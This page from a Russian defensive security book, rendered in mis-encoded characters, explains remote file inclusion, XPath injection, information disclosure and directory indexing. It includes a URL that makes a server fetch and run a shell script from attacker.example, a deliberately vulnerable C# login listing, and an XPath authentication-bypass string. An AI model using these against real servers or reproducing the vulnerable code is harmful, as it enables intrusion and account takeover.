Π§ΠΈΡ‚Π°ΠΉΡ‚Π΅ ΠΊΠ½ΠΈΠ³ΠΈ ΠΎΠ½Π»Π°ΠΉΠ½ Π½Π° Bookidrom.ru! БСсплатныС ΠΊΠ½ΠΈΠ³ΠΈ Π² ΠΎΠ΄Π½ΠΎΠΌ ΠΊΠ»ΠΈΠΊΠ΅

Π§ΠΈΡ‚Π°Ρ‚ΡŒ ΠΎΠ½Π»Π°ΠΉΠ½ Β«Π—Π°Ρ‰ΠΈΡ‚ΠΈ свой ΠΊΠΎΠΌΠΏΡŒΡŽΡ‚Π΅Ρ€ Π½Π° 100% ΠΎΡ‚ вирусов ΠΈ Ρ…Π°ΠΊΠ΅Ρ€ΠΎΠ²Β». Π‘Ρ‚Ρ€Π°Π½ΠΈΡ†Π° 11

Автор ОлСг Π‘ΠΎΠΉΡ†Π΅Π²

Π”Ρ€ΡƒΠ³ΠΈΠ΅ возмоТности для Π°Ρ‚Π°ΠΊΠΈ Π²ΠΎΠ·Π½ΠΈΠΊΠ°ΡŽΡ‚, ΠΊΠΎΠ³Π΄Π° Π²Π΅Π±-сСрвСр ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚ Π² URL имя ΠΏΠΎΠ΄ΠΊΠ»ΡŽΡ‡Π°Π΅ΠΌΠΎΠ³ΠΎ Ρ„Π°ΠΉΠ»Π° сцСнариСв, Π½ΠΎ Π΄ΠΎΠ»ΠΆΠ½Ρ‹ΠΌ ΠΎΠ±Ρ€Π°Π·ΠΎΠΌ Π΅Π³ΠΎ Π½Π΅ Π²Π΅Ρ€ΠΈΡ„ΠΈΡ†ΠΈΡ€ΡƒΠ΅Ρ‚. Π’ этом случаС Π·Π»ΠΎΡƒΠΌΡ‹ΡˆΠ»Π΅Π½Π½ΠΈΠΊ ΠΌΠΎΠΆΠ΅Ρ‚ ΡΠΎΠ·Π΄Π°Ρ‚ΡŒ Π½Π° сСрвСрС Ρ„Π°ΠΉΠ» ΠΈ ΠΏΠΎΠ΄ΠΊΠ»ΡŽΡ‡ΠΈΡ‚ΡŒ Π΅Π³ΠΎ ΠΊ выполняСмому ΡΡ†Π΅Π½Π°Ρ€ΠΈΡŽ. ΠŸΡ€Π΅Π΄ΠΏΠΎΠ»ΠΎΠΆΠΈΠΌ, Π²Π΅Π±-ΠΏΡ€ΠΈΠ»ΠΎΠΆΠ΅Π½ΠΈΠ΅ Ρ€Π°Π±ΠΎΡ‚Π°Π΅Ρ‚ со ссылками, ΠΏΠΎΠ΄ΠΎΠ±Π½Ρ‹ΠΌΠΈ ΡΠ»Π΅Π΄ΡƒΡŽΡ‰Π΅ΠΉ: http://portal.example/index.php?template=news$body=$_GET['page'].".php".

Π’ Ρ…ΠΎΠ΄Π΅ ΠΎΠ±Ρ€Π°Π±ΠΎΡ‚ΠΊΠΈ этого запроса сцСнарий index.php ΠΏΠΎΠ΄ΠΊΠ»ΡŽΡ‡Π°Π΅Ρ‚ сцСнарий news. php ΠΈ выполняСт ΡƒΠΊΠ°Π·Π°Π½Π½Ρ‹ΠΉ Π² Π½Π΅ΠΌ ΠΊΠΎΠ΄. Π—Π»ΠΎΡƒΠΌΡ‹ΡˆΠ»Π΅Π½Π½ΠΈΠΊ ΠΌΠΎΠΆΠ΅Ρ‚ ΡƒΠΊΠ°Π·Π°Ρ‚ΡŒ Π² качСствС URL http://portal.example/index.php?template=http://attacker. example/phpshell, ΠΈ сцСнарий phpshell Π±ΡƒΠ΄Π΅Ρ‚ Π·Π°Π³Ρ€ΡƒΠΆΠ΅Π½ с сСрвСра Π·Π»ΠΎΡƒΠΌΡ‹ΡˆΠ»Π΅Π½Π½ΠΈΠΊΠ° ΠΈ Π²Ρ‹ΠΏΠΎΠ»Π½Π΅Π½ Π½Π° сСрвСрС с ΠΏΡ€Π°Π²Π°ΠΌΠΈ Π²Π΅Π±-сСрвСра.

Если Π½Π° сСрвСрС прСдусмотрСна функция сохранСния Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚ΠΎΠ² ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»Ρ, Π·Π»ΠΎΡƒΠΌΡ‹ΡˆΠ»Π΅Π½Π½ΠΈΠΊ ΠΌΠΎΠΆΠ΅Ρ‚ ΠΏΡ€Π΅Π΄Π²Π°Ρ€ΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎ ΡΠΎΡ…Ρ€Π°Π½ΠΈΡ‚ΡŒ Π½Π΅ΠΎΠ±Ρ…ΠΎΠ΄ΠΈΠΌΡ‹ΠΉ сцСнарий ΠΈ Π²Ρ‹Π·Π²Π°Ρ‚ΡŒ Π΅Π³ΠΎ Ρ‡Π΅Ρ€Π΅Π· Ρ„ΡƒΠ½ΠΊΡ†ΠΈΡŽ ΠΏΠΎΠ΄ΠΊΠ»ΡŽΡ‡Π΅Π½ΠΈΡ (http://portal.example/index.php? template=users/uploads/phpshell) ΠΈΠ»ΠΈ Π½Π°ΠΏΡ€ΡΠΌΡƒΡŽ (http://portal. example/users/uploads/phpshell.php).

Π’Π½Π΅Π΄Ρ€Π΅Π½ΠΈΠ΅ ΠΎΠΏΠ΅Ρ€Π°Ρ‚ΠΎΡ€ΠΎΠ² XPath (XPath Injection). Π­Ρ‚ΠΈ Π°Ρ‚Π°ΠΊΠΈ Π½Π°ΠΏΡ€Π°Π²Π»Π΅Π½Ρ‹ Π½Π° вСбсСрвСры, ΡΠΎΠ·Π΄Π°ΡŽΡ‰ΠΈΠ΅ запросы Π½Π° языкС XPath Π½Π° основС Π΄Π°Π½Π½Ρ‹Ρ…, Π²Π²ΠΎΠ΄ΠΈΠΌΡ‹Ρ… ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»Π΅ΠΌ.

Π―Π·Ρ‹ΠΊ XPath 1.0 Ρ€Π°Π·Ρ€Π°Π±ΠΎΡ‚Π°Π½ для прСдоставлСния возмоТности обращСния ΠΊ частям Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚Π° Π½Π° языкС XML. Он ΠΌΠΎΠΆΠ΅Ρ‚ Π±Ρ‹Ρ‚ΡŒ использован нСпосрСдствСнно Π»ΠΈΠ±ΠΎ Π² качСствС составной части XSLT-прСобразования XML-Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚ΠΎΠ² ΠΈΠ»ΠΈ выполнСния запросов XQuery.

Бинтаксис XPath Π±Π»ΠΈΠ·ΠΎΠΊ ΠΊ языку SQL-запросов. ΠŸΡ€Π΅Π΄ΠΏΠΎΠ»ΠΎΠΆΠΈΠΌ, Ρ‡Ρ‚ΠΎ сущСствуСт Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚ XML, содСрТащий элСмСнты, ΡΠΎΠΎΡ‚Π²Π΅Ρ‚ΡΡ‚Π²ΡƒΡŽΡ‰ΠΈΠ΅ ΠΈΠΌΠ΅Π½Π°ΠΌ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»Π΅ΠΉ, ΠΊΠ°ΠΆΠ΄Ρ‹ΠΉ ΠΈΠ· ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Ρ… содСрТит Ρ‚Ρ€ΠΈ элСмСнта – имя, ΠΏΠ°Ρ€ΠΎΠ»ΡŒ ΠΈ Π½ΠΎΠΌΠ΅Ρ€ счСта. Π‘Π»Π΅Π΄ΡƒΡŽΡ‰Π΅Π΅ Π²Ρ‹Ρ€Π°ΠΆΠ΅Π½ΠΈΠ΅ Π½Π° языкС XPath позволяСт ΠΎΠΏΡ€Π΅Π΄Π΅Π»ΠΈΡ‚ΡŒ Π½ΠΎΠΌΠ΅Ρ€ счСта ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»Ρ "jsmith" с ΠΏΠ°Ρ€ΠΎΠ»Π΅ΠΌ "Demo1234":

String(//user[name/text()='jsmith' and

password/text()='Demo1234']/account/text())

Если запросы XPath Π³Π΅Π½Π΅Ρ€ΠΈΡ€ΡƒΡŽΡ‚ΡΡ Π²ΠΎ врСмя исполнСния Π½Π° основС ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒΡΠΊΠΎΠ³ΠΎ Π²Π²ΠΎΠ΄Π°, Ρƒ Π°Ρ‚Π°ΠΊΡƒΡŽΡ‰Π΅Π³ΠΎ появляСтся Π²ΠΎΠ·ΠΌΠΎΠΆΠ½ΠΎΡΡ‚ΡŒ ΠΌΠΎΠ΄ΠΈΡ„ΠΈΡ†ΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ запрос с Ρ†Π΅Π»ΡŒΡŽ ΠΎΠ±Ρ…ΠΎΠ΄Π° Π»ΠΎΠ³ΠΈΠΊΠΈ Ρ€Π°Π±ΠΎΡ‚Ρ‹ ΠΏΡ€ΠΎΠ³Ρ€Π°ΠΌΠΌΡ‹. Для ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π° ΠΏΡ€Π΅Π΄ΠΏΠΎΠ»ΠΎΠΆΠΈΠΌ, Ρ‡Ρ‚ΠΎ Π²Π΅Π±-ΠΏΡ€ΠΈΠ»ΠΎΠΆΠ΅Π½ΠΈΠ΅ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚ XPath для запросов ΠΊ Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚Ρƒ XML для получСния Π½ΠΎΠΌΠ΅Ρ€ΠΎΠ² счСтов ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»Π΅ΠΉ, Ρ‡ΡŒΠΈ ΠΈΠΌΠ΅Π½Π° ΠΈ ΠΏΠ°Ρ€ΠΎΠ»ΠΈ Π±Ρ‹Π»ΠΈ ΠΏΠ΅Ρ€Π΅Π΄Π°Π½Ρ‹ ΠΊΠ»ΠΈΠ΅Π½Ρ‚ΠΎΠΌ. Если это ΠΏΡ€ΠΈΠ»ΠΎΠΆΠ΅Π½ΠΈΠ΅ внСдряСт Π΄Π°Π½Π½Ρ‹Π΅ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»Ρ нСпосрСдствСнно Π² запрос, это ΠΏΡ€ΠΈΠ²ΠΎΠ΄ΠΈΡ‚ ΠΊ возникновСнию уязвимости (листинг 1.13).

Листинг 1.13. Код, Ρ€Π΅Π°Π»ΠΈΠ·ΡƒΡŽΡ‰ΠΈΠΉ ΡƒΡΠ·Π²ΠΈΠΌΠΎΡΡ‚ΡŒ посрСдством ΠΎΠΏΠ΅Ρ€Π°Ρ‚ΠΎΡ€Π° XPath

XmlDocument XmlDoc = new XmlDocument();

XmlDoc.Load("…");

XPathNavigator nav = XmlDoc.CreateNavigator();

XPathExpression expr =

nav.Compile("string(//user[name/text()='"+TextBox1.Text+"'

and password/text()='"+TextBox2.Text+

"']/account/text())");

String account=Convert.ToString(nav.Evaluate(expr));

if (account=="") {

// name+password pair is not found in the XML document

// login failed.

} else {

// account found -> Login succeeded.

// Proceed into the application.

}

Π’ случаС использования ΠΏΠΎΠ΄ΠΎΠ±Π½ΠΎΠ³ΠΎ ΠΊΠΎΠ΄Π° Π·Π»ΠΎΡƒΠΌΡ‹ΡˆΠ»Π΅Π½Π½ΠΈΠΊ ΠΌΠΎΠΆΠ΅Ρ‚ Π²Π½Π΅Π΄Ρ€ΠΈΡ‚ΡŒ Π² запрос выраТСния Π½Π° языкС XPath, Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€ ввСсти Π² качСствС ΠΈΠΌΠ΅Π½ΠΈ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»Ρ ΡΠ»Π΅Π΄ΡƒΡŽΡ‰Π΅Π΅ Π²Ρ‹Ρ€Π°ΠΆΠ΅Π½ΠΈΠ΅:

' or 1=1 or ''='

Π’ этом случаС запрос всСгда Π±ΡƒΠ΄Π΅Ρ‚ Π²ΠΎΠ·Π²Ρ€Π°Ρ‰Π°Ρ‚ΡŒ счСт ΠΏΠ΅Ρ€Π²ΠΎΠ³ΠΎ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»Ρ Π² Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚Π΅, ΠΏΠΎΡΠΊΠΎΠ»ΡŒΠΊΡƒ Π±ΡƒΠ΄Π΅Ρ‚ Π²Ρ‹Π³Π»ΡΠ΄Π΅Ρ‚ΡŒ ΡΠ»Π΅Π΄ΡƒΡŽΡ‰ΠΈΠΌ ΠΎΠ±Ρ€Π°Π·ΠΎΠΌ:

string(//user[name/text()='' or 1=1 or ''='' and

password/text()='foobar']/account/text())

Π’ Ρ€Π΅Π·ΡƒΠ»ΡŒΡ‚Π°Ρ‚Π΅ Π·Π»ΠΎΡƒΠΌΡ‹ΡˆΠ»Π΅Π½Π½ΠΈΠΊ ΠΏΠΎΠ»ΡƒΡ‡ΠΈΡ‚ доступ Π² систСму ΠΎΡ‚ ΠΈΠΌΠ΅Π½ΠΈ ΠΏΠ΅Ρ€Π²ΠΎΠ³ΠΎ Π² XML-Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚Π΅ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»Ρ, Π½Π΅ прСдоставляя ΠΈΠΌΠ΅Π½ΠΈ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»Ρ ΠΈ пароля.

РазглашСниС ΠΈΠ½Ρ„ΠΎΡ€ΠΌΠ°Ρ†ΠΈΠΈ

Атаки Π΄Π°Π½Π½ΠΎΠ³ΠΎ класса Π½Π°ΠΏΡ€Π°Π²Π»Π΅Π½Ρ‹ Π½Π° ΠΏΠΎΠ»ΡƒΡ‡Π΅Π½ΠΈΠ΅ Π΄ΠΎΠΏΠΎΠ»Π½ΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎΠΉ ΠΈΠ½Ρ„ΠΎΡ€ΠΌΠ°Ρ†ΠΈΠΈ ΠΎ Π²Π΅Π±-ΠΏΡ€ΠΈΠ»ΠΎΠΆΠ΅Π½ΠΈΠΈ. Π˜ΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡ эти уязвимости, Π·Π»ΠΎΡƒΠΌΡ‹ΡˆΠ»Π΅Π½Π½ΠΈΠΊ ΠΌΠΎΠΆΠ΅Ρ‚ ΠΎΠΏΡ€Π΅Π΄Π΅Π»ΠΈΡ‚ΡŒ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅ΠΌΡ‹Π΅ дистрибутивы ПО, Π½ΠΎΠΌΠ΅Ρ€Π° вСрсий ΠΊΠ»ΠΈΠ΅Π½Ρ‚Π° ΠΈ сСрвСра ΠΈ установлСнныС обновлСния. Π’ Π΄Ρ€ΡƒΠ³ΠΈΡ… случаях Π² ΡƒΡ‚Π΅ΠΊΠ°ΡŽΡ‰Π΅ΠΉ ΠΈΠ½Ρ„ΠΎΡ€ΠΌΠ°Ρ†ΠΈΠΈ ΠΌΠΎΠΆΠ΅Ρ‚ ΡΠΎΠ΄Π΅Ρ€ΠΆΠ°Ρ‚ΡŒΡΡ располоТСниС Π²Ρ€Π΅ΠΌΠ΅Π½Π½Ρ‹Ρ… Ρ„Π°ΠΉΠ»ΠΎΠ² ΠΈΠ»ΠΈ Ρ€Π΅Π·Π΅Ρ€Π²Π½Ρ‹Ρ… ΠΊΠΎΠΏΠΈΠΉ. Π’ΠΎ ΠΌΠ½ΠΎΠ³ΠΈΡ… ситуациях эти Π΄Π°Π½Π½Ρ‹Π΅ Π½Π΅ Ρ‚Ρ€Π΅Π±ΡƒΡŽΡ‚ΡΡ для Ρ€Π°Π±ΠΎΡ‚Ρ‹ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»Ρ. Π‘ΠΎΠ»ΡŒΡˆΠΈΠ½ΡΡ‚Π²ΠΎ сСрвСров ΠΏΡ€Π΅Π΄ΠΎΡΡ‚Π°Π²Π»ΡΡŽΡ‚ доступ ΠΊ Ρ‡Ρ€Π΅Π·ΠΌΠ΅Ρ€Π½ΠΎΠΌΡƒ ΠΎΠ±ΡŠΠ΅ΠΌΡƒ Π΄Π°Π½Π½Ρ‹Ρ…, ΠΎΠ΄Π½Π°ΠΊΠΎ Π½Π΅ΠΎΠ±Ρ…ΠΎΠ΄ΠΈΠΌΠΎ ΠΌΠΈΠ½ΠΈΠΌΠΈΠ·ΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ объСм слуТСбной ΠΈΠ½Ρ„ΠΎΡ€ΠΌΠ°Ρ†ΠΈΠΈ. Π§Π΅ΠΌ большими знаниями ΠΎ ΠΏΡ€ΠΈΠ»ΠΎΠΆΠ΅Π½ΠΈΠΈ Π±ΡƒΠ΄Π΅Ρ‚ Ρ€Π°ΡΠΏΠΎΠ»Π°Π³Π°Ρ‚ΡŒ Π·Π»ΠΎΡƒΠΌΡ‹ΡˆΠ»Π΅Π½Π½ΠΈΠΊ, Ρ‚Π΅ΠΌ Π»Π΅Π³Ρ‡Π΅ Π΅ΠΌΡƒ Π±ΡƒΠ΄Π΅Ρ‚ ΡΠΊΠΎΠΌΠΏΡ€ΠΎΠΌΠ΅Ρ‚ΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ систСму.

Π˜Π½Π΄Π΅ΠΊΡΠΈΡ€ΠΎΠ²Π°Π½ΠΈΠ΅ Π΄ΠΈΡ€Π΅ΠΊΡ‚ΠΎΡ€ΠΈΠΉ (Directory Indexing). ΠŸΡ€Π΅Π΄ΠΎΡΡ‚Π°Π²Π»Π΅Π½ΠΈΠ΅ списка Ρ„Π°ΠΉΠ»ΠΎΠ² Π² Π΄ΠΈΡ€Π΅ΠΊΡ‚ΠΎΡ€ΠΈΠΈ прСдставляСт собой Π½ΠΎΡ€ΠΌΠ°Π»ΡŒΠ½ΠΎΠ΅ ΠΏΠΎΠ²Π΅Π΄Π΅Π½ΠΈΠ΅ Π²Π΅Π±-сСрвСра, Ссли страница, отобраТаСмая ΠΏΠΎ ΡƒΠΌΠΎΠ»Ρ‡Π°Π½ΠΈΡŽ (index.html/home.html/default.htm), отсутствуСт.

Когда ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒ Π·Π°ΠΏΡ€Π°ΡˆΠΈΠ²Π°Π΅Ρ‚ ΠΎΡΠ½ΠΎΠ²Π½ΡƒΡŽ страницу сайта, ΠΎΠ½ ΠΎΠ±Ρ‹Ρ‡Π½ΠΎ ΡƒΠΊΠ°Π·Ρ‹Π²Π°Π΅Ρ‚ Π΄ΠΎΠΌΠ΅Π½Π½ΠΎΠ΅ имя сСрвСра Π±Π΅Π· ΠΈΠΌΠ΅Π½ΠΈ ΠΊΠΎΠ½ΠΊΡ€Π΅Ρ‚Π½ΠΎΠ³ΠΎ Ρ„Π°ΠΉΠ»Π° (http://www.example.com). Π‘Π΅Ρ€Π²Π΅Ρ€ просматриваСт ΠΎΡΠ½ΠΎΠ²Π½ΡƒΡŽ ΠΏΠ°ΠΏΠΊΡƒ, Π½Π°Ρ…ΠΎΠ΄ΠΈΡ‚ Π² Π½Π΅ΠΉ Ρ„Π°ΠΉΠ», ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅ΠΌΡ‹ΠΉ ΠΏΠΎ ΡƒΠΌΠΎΠ»Ρ‡Π°Π½ΠΈΡŽ, ΠΈ Π½Π° Π΅Π³ΠΎ основС Π³Π΅Π½Π΅Ρ€ΠΈΡ€ΡƒΠ΅Ρ‚ ΠΎΡ‚Π²Π΅Ρ‚. Если Ρ‚Π°ΠΊΠΎΠΉ Ρ„Π°ΠΉΠ» отсутствуСт, Π² качСствС ΠΎΡ‚Π²Π΅Ρ‚Π° ΠΌΠΎΠΆΠ΅Ρ‚ Π²Π΅Ρ€Π½ΡƒΡ‚ΡŒΡΡ список Ρ„Π°ΠΉΠ»ΠΎΠ² Π² Π΄ΠΈΡ€Π΅ΠΊΡ‚ΠΎΡ€ΠΈΠΈ сСрвСра. Π­Ρ‚ΠΎΡ‚ случай Π°Π½Π°Π»ΠΎΠ³ΠΈΡ‡Π΅Π½ Π²Ρ‹ΠΏΠΎΠ»Π½Π΅Π½ΠΈΡŽ ΠΊΠΎΠΌΠ°Π½Π΄Ρ‹ ls (UNIX) ΠΈΠ»ΠΈ dir (Windows) Π½Π° сСрвСрС ΠΈ Ρ„ΠΎΡ€ΠΌΠ°Ρ‚ΠΈΡ€ΠΎΠ²Π°Π½ΠΈΡŽ Ρ€Π΅Π·ΡƒΠ»ΡŒΡ‚Π°Ρ‚ΠΎΠ² Π² Π²ΠΈΠ΄Π΅ HTML. Π’ этой ситуации Π·Π»ΠΎΡƒΠΌΡ‹ΡˆΠ»Π΅Π½Π½ΠΈΠΊ ΠΌΠΎΠΆΠ΅Ρ‚ ΠΏΠΎΠ»ΡƒΡ‡ΠΈΡ‚ΡŒ доступ ΠΊ Π΄Π°Π½Π½Ρ‹ΠΌ, Π½Π΅ ΠΏΡ€Π΅Π΄Π½Π°Π·Π½Π°Ρ‡Π΅Π½Π½Ρ‹ΠΌ для свободного доступа. Π”ΠΎΠ²ΠΎΠ»ΡŒΠ½ΠΎ часто администраторы ΠΏΠΎΠ»Π°Π³Π°ΡŽΡ‚ΡΡ Π½Π° Β«Π±Π΅Π·ΠΎΠΏΠ°ΡΠ½ΠΎΡΡ‚ΡŒ Ρ‡Π΅Ρ€Π΅Π· сокрытиС», прСдполагая, Ρ‡Ρ‚ΠΎ Ρ€Π°Π· гипСрссылка Π½Π° Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚ отсутствуСт, Ρ‚ΠΎ ΠΎΠ½ нСдоступСн нСпосвящСнным. Π‘ΠΎΠ²Ρ€Π΅ΠΌΠ΅Π½Π½Ρ‹Π΅ сканСры уязвимостСй, Ρ‚Π°ΠΊΠΈΠ΅ ΠΊΠ°ΠΊ Nikto, ΠΌΠΎΠ³ΡƒΡ‚ динамичСски Π΄ΠΎΠ±Π°Π²Π»ΡΡ‚ΡŒ Ρ„Π°ΠΉΠ»Ρ‹ ΠΈ ΠΏΠ°ΠΏΠΊΠΈ ΠΊ списку сканируСмых Π² зависимости ΠΎΡ‚ Ρ€Π΅Π·ΡƒΠ»ΡŒΡ‚Π°Ρ‚ΠΎΠ² запросов. Π˜ΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡ содСрТимоС /robots.txt ΠΈΠ»ΠΈ ΠΏΠΎΠ»ΡƒΡ‡Π΅Π½Π½ΠΎΠ³ΠΎ списка Π΄ΠΈΡ€Π΅ΠΊΡ‚ΠΎΡ€ΠΈΠΉ, сканСр ΠΌΠΎΠΆΠ΅Ρ‚ Π½Π°ΠΉΡ‚ΠΈ спрятанноС содСрТимоС ΠΈΠ»ΠΈ Π΄Ρ€ΡƒΠ³ΠΈΠ΅ Ρ„Π°ΠΉΠ»Ρ‹. Π’Π°ΠΊΠΈΠΌ ΠΎΠ±Ρ€Π°Π·ΠΎΠΌ, внСшнС бСзопасноС индСксированиС Π΄ΠΈΡ€Π΅ΠΊΡ‚ΠΎΡ€ΠΈΠΉ ΠΌΠΎΠΆΠ΅Ρ‚ привСсти ΠΊ ΡƒΡ‚Π΅Ρ‡ΠΊΠ΅ Π²Π°ΠΆΠ½ΠΎΠΉ ΠΈΠ½Ρ„ΠΎΡ€ΠΌΠ°Ρ†ΠΈΠΈ, которая Π² дальнСйшСм Π±ΡƒΠ΄Π΅Ρ‚ использована для провСдСния Π°Ρ‚Π°ΠΊ Π½Π° систСму.

Π˜ΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡ индСксированиС Π΄ΠΈΡ€Π΅ΠΊΡ‚ΠΎΡ€ΠΈΠΉ, ΠΌΠΎΠΆΠ½ΠΎ ΠΏΠΎΠ»ΡƒΡ‡ΠΈΡ‚ΡŒ доступ ΠΊ ΡΠ»Π΅Π΄ΡƒΡŽΡ‰ΠΈΠΌ Π΄Π°Π½Π½Ρ‹ΠΌ.

♦ Π Π΅Π·Π΅Ρ€Π²Π½Ρ‹Π΅ ΠΊΠΎΠΏΠΈΠΈ (BAK, OLD ΠΈΠ»ΠΈ ORIG-Ρ„Π°ΠΉΠ»Ρ‹).

♦ Π’Ρ€Π΅ΠΌΠ΅Π½Π½Ρ‹Π΅ Ρ„Π°ΠΉΠ»Ρ‹. Π’Π°ΠΊΠΈΠ΅ Ρ„Π°ΠΉΠ»Ρ‹ Π΄ΠΎΠ»ΠΆΠ½Ρ‹ ΡƒΠ΄Π°Π»ΡΡ‚ΡŒΡΡ сСрвСром автоматичСски, Π½ΠΎ ΠΈΠ½ΠΎΠ³Π΄Π° ΠΎΡΡ‚Π°ΡŽΡ‚ΡΡ доступными.

♦ БпрятанныС Ρ„Π°ΠΉΠ»Ρ‹, Π½Π°Π·Π²Π°Π½ΠΈΠ΅ ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Ρ… начинаСтся с символа ..

♦ БоглашСниС ΠΎΠ± ΠΈΠΌΠ΅Π½Π°Ρ…. Π­Ρ‚Π° информация ΠΌΠΎΠΆΠ΅Ρ‚ ΠΏΠΎΠΌΠΎΡ‡ΡŒ ΠΏΡ€Π΅Π΄ΡΠΊΠ°Π·Π°Ρ‚ΡŒ ΠΈΠΌΠ΅Π½Π° Ρ„Π°ΠΉΠ»ΠΎΠ² ΠΈΠ»ΠΈ Π΄ΠΈΡ€Π΅ΠΊΡ‚ΠΎΡ€ΠΈΠΉ (admin ΠΈΠ»ΠΈ Admin, back-up ΠΈΠ»ΠΈ backup).

♦ Бписок ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»Π΅ΠΉ сСрвСра. ΠžΡ‡Π΅Π½ΡŒ часто для ΠΊΠ°ΠΆΠ΄ΠΎΠ³ΠΎ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»Ρ создаСтся ΠΏΠ°ΠΏΠΊΠ° с ΠΈΠΌΠ΅Π½Π΅ΠΌ, основанном Π½Π° Π½Π°Π·Π²Π°Π½ΠΈΠΈ ΡƒΡ‡Π΅Ρ‚Π½ΠΎΠΉ записи.

♦ ИмСна Ρ„Π°ΠΉΠ»ΠΎΠ² ΠΊΠΎΠ½Ρ„ΠΈΠ³ΡƒΡ€Π°Ρ†ΠΈΠΈ (CONF, CFG ΠΈΠ»ΠΈ CONFIG).

♦ Π‘ΠΎΠ΄Π΅Ρ€ΠΆΠΈΠΌΠΎΠ΅ сСрвСрных сцСнариСв ΠΈΠ»ΠΈ исполняСмых Ρ„Π°ΠΉΠ»ΠΎΠ² Π² случаС Π½Π΅Π²Π΅Ρ€Π½ΠΎ ΡƒΠΊΠ°Π·Π°Π½Π½Ρ‹Ρ… Ρ€Π°ΡΡˆΠΈΡ€Π΅Π½ΠΈΠΉ ΠΈΠ»ΠΈ Ρ€Π°Π·Ρ€Π΅ΡˆΠ΅Π½ΠΈΠΉ.

ΠœΠΎΠ³ΡƒΡ‚ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒΡΡ Ρ‚Ρ€ΠΈ основных сцСнария получСния списка Ρ„Π°ΠΉΠ»ΠΎΠ².

♦ Ошибки ΠΊΠΎΠ½Ρ„ΠΈΠ³ΡƒΡ€Π°Ρ†ΠΈΠΈ. ΠŸΠΎΠ΄ΠΎΠ±Π½Ρ‹Π΅ ΠΏΡ€ΠΎΠ±Π»Π΅ΠΌΡ‹ Π²ΠΎΠ·Π½ΠΈΠΊΠ°ΡŽΡ‚, ΠΊΠΎΠ³Π΄Π° администратор ΠΎΡˆΠΈΠ±ΠΎΡ‡Π½ΠΎ ΡƒΠΊΠ°Π·Ρ‹Π²Π°Π΅Ρ‚ Π² ΠΊΠΎΠ½Ρ„ΠΈΠ³ΡƒΡ€Π°Ρ†ΠΈΠΈ сСрвСра эту ΠΎΠΏΡ†ΠΈΡŽ. Π’Π°ΠΊΠΈΠ΅ ситуации ΠΌΠΎΠ³ΡƒΡ‚ Π²ΠΎΠ·Π½ΠΈΠΊΠ°Ρ‚ΡŒ ΠΏΡ€ΠΈ настройкС слоТных ΠΊΠΎΠ½Ρ„ΠΈΠ³ΡƒΡ€Π°Ρ†ΠΈΠΉ, Π³Π΄Π΅ Π½Π΅ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΠΏΠ°ΠΏΠΊΠΈ Π΄ΠΎΠ»ΠΆΠ½Ρ‹ Π±Ρ‹Ρ‚ΡŒ доступны для просмотра. Π‘ Ρ‚ΠΎΡ‡ΠΊΠΈ зрСния Π·Π»ΠΎΡƒΠΌΡ‹ΡˆΠ»Π΅Π½Π½ΠΈΠΊΠ°, запрос Π½Π΅ отличаСтся ΠΎΡ‚ ΡƒΠΊΠ°Π·Π°Π½Π½ΠΎΠ³ΠΎ Ρ€Π°Π½ΡŒΡˆΠ΅. Он просто обращаСтся ΠΊ Π΄ΠΈΡ€Π΅ΠΊΡ‚ΠΎΡ€ΠΈΠΈ ΠΈ Π°Π½Π°Π»ΠΈΠ·ΠΈΡ€ΡƒΠ΅Ρ‚ Ρ€Π΅Π·ΡƒΠ»ΡŒΡ‚Π°Ρ‚. Π•Π³ΠΎ Π½Π΅ бСспокоит, ΠΏΠΎΡ‡Π΅ΠΌΡƒ сСрвСр Π²Π΅Π΄Π΅Ρ‚ сСбя 